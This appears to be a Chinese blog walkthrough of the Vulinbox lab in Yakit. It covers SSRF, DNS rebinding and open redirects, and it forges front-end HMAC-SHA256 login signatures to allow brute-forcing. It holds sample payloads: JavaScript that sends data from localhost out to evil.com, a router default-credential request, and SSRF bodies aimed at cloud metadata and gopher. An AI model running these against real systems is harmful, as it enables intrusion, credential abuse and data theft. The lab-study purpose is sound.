一天一靶场系列之Vulinbox靶场(SSRF与高级前端加解密与验签)

最后更新于 2025-04-29 561 次阅读


0x00 | 前言

最近前端渗透有所渐忘,刚好最近在熟悉Yakit工具使用

那今天以Yakit自带的靶场为例

技术要点

「一个精心构造的URL,足以让服务器背叛它的网络」

服务器端请求伪造(Server-Side Request Forgery,SSRF)是一种安全漏洞,攻击者可以在受害服务器上执行未经授权的请求,可能导致数据泄露、服务端攻击等问题。

SSRF 漏洞允许攻击者发送恶意请求,以服务器的身份向内部网络或外部资源发起请求。攻击者可以通过此漏洞访问内部服务、获取敏感数据,甚至攻击内部系统。


序列一 SSRF JSON Body SSRF


序列二 GET 中 URL 参数

同理


序列三 SSRF POST 中 URL 参数


序列四 SSRF POST 中 URL 参数 (DNS Rebinding)

攻击原理

(1)DNS 基础回顾

  • 用户访问 evil.com → 查询DNS → 返回IP(如 1.2.3.4
  • 浏览器遵循 同源策略(SOP):仅允许 evil.com 访问同域名下的资源

DNS Rebinding 攻击流程

  1. 攻击者注册恶意域名(如 evil.com
    • 设置 极短TTL(如1秒),使DNS记录快速失效
    • 初始返回 攻击者控制的服务器IP(如 1.2.3.4
  2. 用户访问 evil.com
    • 浏览器加载恶意JS代码(如 attack.js
    • 此时 evil.com 的IP是 1.2.3.4,SOP允许JS访问 evil.com
  3. DNS 记录被重绑定
    • TTL过期后,攻击者修改DNS记录,返回 目标内网IP(如 192.168.1.1
    • 浏览器仍认为 evil.com 是同源(域名未变),但实际访问的是内网设备
  4. 恶意JS发起攻击
    • 向 evil.com 发送请求(实际访问 192.168.1.1
    • 可扫描内网、劫持路由器、攻击本地服务(如 localhost:3000

攻击示例

(1)攻击本地Web服务

  • 目标:开发者的 localhost:3000(未设密码)
  • 攻击者DNS Rebinding到 127.0.0.1
  • 恶意JS代码:
  • fetch("http://evil.com:3000/admin") // 实际访问 http://127.0.0.1:3000/admin .then(response => response.text()) .then(data => exfiltrateToAttacker(data)); // 数据外泄

(2)攻击路由器管理界面

  • 目标:家用路由器 192.168.1.1
  • 攻击者DNS Rebinding到 192.168.1.1
  • 恶意JS代码:
  • fetch("http://evil.com/cgi-bin/login?user=admin&pass=123456") .then(() => alert("路由器密码已被修改!"));

高级攻击手法

分布式Rebinding

  • 多IP轮换
    配置DNS轮询返回多个IP:
  • evil.com
  • → 1.2.3.4(攻击服务器)
  • → 192.168.1.1(目标内网)
  • → 127.0.0.1(本地服务)
  • DNSSEC滥用
    利用签名记录的合法性增强欺骗性

序列五SSRF via JSON Body:高级利用

传统SSRF:通过URL参数、Headers等注入内部地址
JSON SSRF:利用服务端JSON解析特性,将攻击载荷隐藏在请求体中,绕过常规WAF检测

POST /api/export 
Content-Type: application/json

{
  "template_url": "http://127.0.0.1:8080/admin",
  "format": "pdf"
}
 高级绕过技巧
  • 嵌套JSON逃逸
  • { "config": { "\\"url\\":\\"http://attacker.com\\"", "legit_param": "value" } }
  • Content-Type混淆
  • POST /api/import HTTP/1.1 Content-Type: application/x-www-form-urlencoded {"malicious":"http://169.254.169.254/latest/meta-data"}
  • 协议伪装
  • { "backup_location": "gopher://192.168.1.1:25/_SMTP%20injection" }

序列六 SSRF POST参数是JSON(包含URL)的情况

空白...应该是题目问题吧,同上 求解答


序列七 完全重定向

挖到某招聘的这种 白捡80


序列八 完全开放重定向(无限重定向)

同上


「当浏览器成为密钥的守夜人,每一次握手都是对安全的重新定义」

签名验证(又叫验签或签名)是验证请求参数是否被篡改的一种常见安全手段,验证签名方法主流的有两种,一种是 KEY+哈希算法,例如 HMAC-MD5 / HMAC-SHA256 等,另外生成签名的规则可能为:username=&password=。在提交和验证的时候需要分别对提交数据进行处理,签名才可以使用和验证

在给请求签名的情况下,如果重访过程中,数据修改了然而签名没有修改,那就意味服务器可以因为“签名不一致”随时拒绝掉我们的用户请求


序列一 分析验签与前端加密

因为前端进行了签名验算,如果在日常渗透中,对登入框没有特别好的绕过方式,可以尝试爆破,但是前端的算法签名会影响爆破方式的可行性

大部分签名的逻辑都藏在前端 JavaScript 中

签名中字段的顺序一般来说是有意义的,JavaScript 中的 Object Properties 是有顺序的

so,我们只需要找到算法签名逻辑

找到关键代码

提取信息

1.密钥硬编码

2.用户数据用户名密码字符串排列拼接好之后,使用Encrypt函数为他计算签名

语法解析

简写如:  CryptoJS.HmacSHA256(word, key)
参数类型说明
wordstring/WordArray待哈希的原始数据(UTF-8编码)
keystring/WordArray加密密钥(UTF-8编码)

.toString() 转换为十六进制或Base64字符串

3.最后由JSON.stringify处理 fetch提交

作用:将 jsonData 经过 outputObj 处理后的结果,转换为格式美观的 JSON 字符串

验签的核心函数是 HMacSha256

欧克 接下来就可以进行构造来验证算法

这里尝试一下yakiy 不得不说真的香

1.首先设置变量

2.设置热加载代码

代码

func sign(user, pass) {
return codec.EncodeToHex(codec.HmacSha256("1234123412341234", fusername=${user}&password=${pass})~)
}

signRequest = result => {
pairs := result.SplitN("|", 2)
dump(pairs)
return sign(pairs[0], pairs[1])
}

代码解析

1. sign(user, pass) 函数

func sign(user, pass) {
    return codec.EncodeToHex(codec.HmacSha256("1234123412341234", f`username=${user}&password=${pass}`)~)
}
  • 功能
    使用 HMAC-SHA256 算法对 username 和 password 的组合字符串进行签名,并将结果转换为十六进制字符串

signRequest(result) 函数

signRequest = result => {
    pairs := result.SplitN("|", 2)
    dump(pairs)
    return sign(pairs[0], pairs[1])
}
  • 功能
    将输入字符串 result 按 | 分割为用户名和密码,并调用 sign 生成签名

3.插入

成功实现算法签名